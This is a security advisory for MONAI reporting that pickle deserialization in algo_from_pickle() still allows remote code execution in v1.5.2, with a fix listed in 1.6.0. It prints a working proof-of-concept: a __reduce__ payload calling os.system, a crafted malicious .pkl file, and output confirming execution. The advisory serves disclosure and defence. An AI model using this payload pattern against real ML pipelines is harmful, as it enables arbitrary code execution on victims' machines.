Advisory

GHSA-qxq5-qhx6-94qw

Also known as: CVE-2026-100843, PYSEC-2026-4018

Summary

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Details

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.

## Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

  def algo_from_pickle(pkl_filename: str, ...):
      with open(pkl_filename, "rb") as f_pi:
          data_bytes = f_pi.read()
      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

      # isinstance/key checks happen AFTER deserialization — already too late

      algo_bytes = data.pop("algo_bytes")
      ...
      if len(template_paths_candidates) == 0:
          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
      else:
          for p in template_paths_candidates:
              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

  No Unpickler subclass, no find_class restriction, no allowlist.

  Why the Fix is Incomplete

  - monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

  PoC

  import pickle, os

  class Exploit:
      def __reduce__(self):
          return (os.system, ('id > /tmp/rce_proof.txt',))

  # Craft malicious pkl
  data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
  with open("/tmp/evil.pkl", "wb") as f:
      f.write(pickle.dumps(data))

  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
  with open("/tmp/evil.pkl", "rb") as f:
      data = pickle.loads(f.read())        # SINK 1 fires — RCE here
  algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

  print(open("/tmp/rce_proof.txt").read())
  # uid=1000(user) gid=1000(user) groups=...

  Verified on monai v1.5.2 (utils.py verbatim source):
  [+] RCE CONFIRMED via algo_from_pickle():
      desktop-5657tb1\woong

  Impact

  Any application or ML pipeline calling algo_from_pickle() with an
  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
  frequently exchange model checkpoints, making this a realistic attack vector.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-08-18 20:22 UTC
Modified
2026-10-01 09:25 UTC

Affected packages and fixes

monai

PyPI · All systems

Affected

  • introduced 0, fixed 1.6.0 (ecosystem)

Fixed versions

1.6.0

Fix

  • Fixed version 1.6.0
    pip install --upgrade monai==1.6.0

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences